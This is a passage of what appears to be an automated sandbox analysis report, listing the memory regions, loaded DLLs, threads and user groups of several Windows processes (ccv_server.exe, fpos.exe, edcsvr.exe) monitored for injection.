0x730000 end_va = 0x8b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 3546 start_va = 0x8c0000 end_va = 0xa40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 3547 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3548 start_va = 0xad0000 end_va = 0xb8bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 3549 start_va = 0xbd0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 3550 start_va = 0xfe0000 end_va = 0xff6fff monitored = 0 entry_point = 0xfe14a1 region_type = mapped_file name = "ccv_server.exe" filename = "\\Program Files (x86)\\WindowsPowerShell\\ccv_server.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\ccv_server.exe") Region: id = 3551 start_va = 0x1000000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001000000" filename = "" Region: id = 3552 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3553 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3554 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3555 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3556 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3557 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3558 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3559 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3560 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3561 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3562 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3563 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3564 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3565 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3566 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3567 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3568 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3569 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3570 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3571 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3572 start_va = 0x7f530000 end_va = 0x7f62ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f530000" filename = "" Region: id = 3573 start_va = 0x7f630000 end_va = 0x7f652fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f630000" filename = "" Region: id = 3574 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3575 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3576 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3577 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3578 start_va = 0x4e0000 end_va = 0x4e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 3579 start_va = 0x4f0000 end_va = 0x4f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 3580 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3581 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3582 start_va = 0xbe0000 end_va = 0xcdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 3583 start_va = 0x500000 end_va = 0x500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 3584 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5970 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 5971 start_va = 0x510000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 5972 start_va = 0x2400000 end_va = 0x2736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 269 os_tid = 0xfc0 Thread: id = 270 os_tid = 0xfb4 Thread: id = 358 os_tid = 0x10f0 Process: id = "64" image_name = "fpos.exe" filename = "c:\\program files\\common files\\fpos.exe" page_root = "0x16268000" os_pid = "0xfd8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Common Files\\fpos.exe\" " cur_dir = "C:\\Program Files\\Common Files\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6256 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6257 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 6258 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6259 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 6260 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 6261 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 6262 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 6263 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 6264 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 6265 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 6266 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 6267 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6268 start_va = 0x600000 end_va = 0x787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 6269 start_va = 0x790000 end_va = 0x910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 6270 start_va = 0xde0000 end_va = 0xde3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 6271 start_va = 0xdf0000 end_va = 0xdf3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 6272 start_va = 0xe30000 end_va = 0xf2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 6273 start_va = 0xf80000 end_va = 0xf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 6274 start_va = 0xf90000 end_va = 0x104bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 6275 start_va = 0x10b0000 end_va = 0x10bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 6276 start_va = 0x11b0000 end_va = 0x11c6fff monitored = 0 entry_point = 0x11b14a1 region_type = mapped_file name = "fpos.exe" filename = "\\Program Files\\Common Files\\fpos.exe" (normalized: "c:\\program files\\common files\\fpos.exe") Region: id = 6277 start_va = 0x11d0000 end_va = 0x25cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011d0000" filename = "" Region: id = 6278 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 6279 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 6280 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 6281 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 6282 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 6283 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 6284 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 6285 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 6286 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 6287 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 6288 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 6289 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 6290 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 6291 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 6292 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 6293 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 6294 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 6295 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 6296 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 6297 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 6298 start_va = 0x7ef50000 end_va = 0x7f04ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef50000" filename = "" Region: id = 6299 start_va = 0x7f050000 end_va = 0x7f072fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f050000" filename = "" Region: id = 6300 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6301 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 6302 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6303 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Thread: id = 271 os_tid = 0xffc Thread: id = 272 os_tid = 0xfdc Process: id = "65" image_name = "edcsvr.exe" filename = "c:\\program files\\windows nt\\edcsvr.exe" page_root = "0x6a453000" os_pid = "0xfd0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows NT\\edcsvr.exe\" " cur_dir = "C:\\Program Files\\Windows NT\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3359 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3360 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3361 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3362 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3363 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3364 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3365 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3366 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3367 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3368 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3369 start_va = 0x4c0000 end_va = 0x4c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3370 start_va = 0x4d0000 end_va = 0x4d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3371 start_va = 0x4e0000 end_va = 0x4e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 3372 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 3373 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 3374 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 3375 start_va = 0x710000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 3376 start_va = 0x810000 end_va = 0x997fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 3377 start_va = 0x9a0000 end_va = 0xb20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 3378 start_va = 0xbb0000 end_va = 0xbc6fff monitored = 0 entry_point = 0xbb14a1 region_type = mapped_file name = "edcsvr.exe" filename = "\\Program Files\\Windows NT\\edcsvr.exe" (normalized: "c:\\program files\\windows nt\\edcsvr.exe") Region: id = 3379 start_va = 0xbd0000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 3380 start_va = 0x1fd0000 end_va = 0x208bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fd0000" filename = "" Region: id = 3381 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3382 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3383 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3384 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3385 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3386 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3387 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3388 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3389 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3390 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3391 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3392 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3393 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3394 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3395 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3396 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3397 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3398 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3399 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3400 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3401 start_va = 0x7f300000 end_va = 0x7f3fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 